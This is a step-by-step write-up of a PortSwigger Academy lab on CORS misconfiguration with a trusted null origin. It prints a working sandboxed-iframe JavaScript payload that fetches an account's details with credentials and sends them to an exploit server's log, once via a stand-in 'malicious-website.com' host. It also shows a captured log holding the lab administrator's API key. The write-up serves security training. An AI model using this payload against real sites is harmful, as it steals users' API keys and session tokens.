PortSwigger's "CORS vulnerability with trusted null origin" Walkthrough

This is a writeup for the “null origin” CORS lab from PortSwigger Academy. For this walkthrough, you’ll need a Portswigger Academy account.

Log in to your Academy account and then view the lab at https://portswigger.net/web-security/cors/lab-null-origin-whitelisted-attack. This is accessible from the “all labs” view or from the CORS page.

Challenge Information

Click the “Access the Lab” button and you will be taken to a temporary website that is created for your account. This will be in format https://<random string here>.web-security-academy.net/.

CORS stands for cross-origin resource sharing, and controls what access can be made outside of a given domain. The setup for this lab is that we can send malicious content to an administrator and force the execution of Javascript in their browser.

We want to use this to get account information from them, but in order to get that information to our exploit server, we need to find a CORS misconfiguration.

Reading through the CORS guide, this section matches the name of the lab and appears to be the strategy we want:

The TL;DR is providing a valid allow-listed (“whitelisted”) value of null, which will result in the server creating a Access-Control-Allow-Origin: null header, allowing our attack to go through.

The website looks like this:

If we login with provided credentials wiener:peter, we see that the API key shows up on the /my-account page.

More specifically, it appears after a call is made to /accountDetails:

The attack server looks like this, and is accessible through a link in the Academy banner at the top of the lab page:

Making our exploit

We can craft an exploit with specific headers and body content.

The example attack payload from the CORS page looks like this:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','vulnerable-website.com/sensitive-victim-data',true);
    req.withCredentials = true;
    req.send();

    function reqListener() {
        location='malicious-website.com/log?key='+this.responseText;
    };
</script>"></iframe>

This payload will load an iframe containing the /accountDetails page response, then will try to make a request to <exploit-server>/log?key='+this.responseText with this information. That will put the API key of the administrator into our exploit server’s log view.

If we replace that with the URLs perninent to our lab (<random-string>.web-security-academy.net and exploit-<random-string>.web-security-academy.net), then the attack looks like this:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','https://<random-string>.web-security-academy.net/accountDetails',true);
    req.withCredentials = true;
    req.send();

    function reqListener() {
        location='https://exploit-<random-string>.web-security-academy.net/log?key='+this.responseText;
    };
</script>"></iframe>

If we save this (using the Store button), then we can click View Exploit to try it out on ourselves:

The page that opens is a blank page with a blank iframe. If we open up Dev Tools, we see this message:

We are opening the payload on the attack server, and trying to open up an iframe with content from the normal lab server. The request to the /log files isn’t happening because of this CORS message.

Back on the exploit server page, we need to add two headers:

Host: <random-string>.web-security-academy.net
Origin: null

This tells the victim’s browser that the request is coming from the valid lab website, and that the Origin is null. This will result in the server sending back an Access-Control-Allow-Origin: null header, allowing our /log request to complete.

Lab Solution

Update the exploit server to have HTTP headers of:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Host: <random-string-here>.web-security-academy.net
Origin: null

Where <random-string> is your lab value.

Then make sure that the body content is as follows (again, updating <random-string>:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script> 
    var req = new XMLHttpRequest(); 
    req.onload = reqListener; 
    req.open('get','https://<random-string>.web-security-academy.net/accountDetails',true); 
    req.withCredentials = true; 
    req.send(); 

    function reqListener() { 
        location='https://exploit-<random-string>.web-security-academy.net/log?key='+this.responseText; 
    }; 
</script>"></iframe>

Click Store to save it. Then click View Exploit to try it out on yourself. You should see this view, and no errors in the console:

Check https://exploit-<random-string>.web-security-academy.net/log for API information from your own account.

Then click Send Exploit to send it to the admin.

After the request completes, you should be able to check /log in the exploit server for the admin’s API key:

172.31.31.71    2021-12-02 22:09:38 +0000 "GET /log?key={%20%20%22username%22:%20%22administrator%22,%20%20%22email%22:%20%22%22,%20%20%22apikey%22:%20%222dNnKQuvHX8H1SaguYa28fABOFwD9cNj%22,%20%20%22sessions%22:%20[%20%20%20%20%22LKbTe0O5WjmcaRJWimyH7ojGHABFVi2J%22%20%20]} HTTP/1.1" 200 "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36"

This value URL decodes to (with extra info removed)

GET /log?key={ "username": "administrator", "email": "", 
                              "apikey": "2dNnKQuvHX8H1SaguYa28fABOFwD9cNj", 
                              "sessions": [ "LKbTe0O5WjmcaRJWimyH7ojGHABFVi2J" ]
                             }

Submit this value (2dNnKQuvHX8H1SaguYa28fABOFwD9cNj) from the Academy header:

And the lab is solved!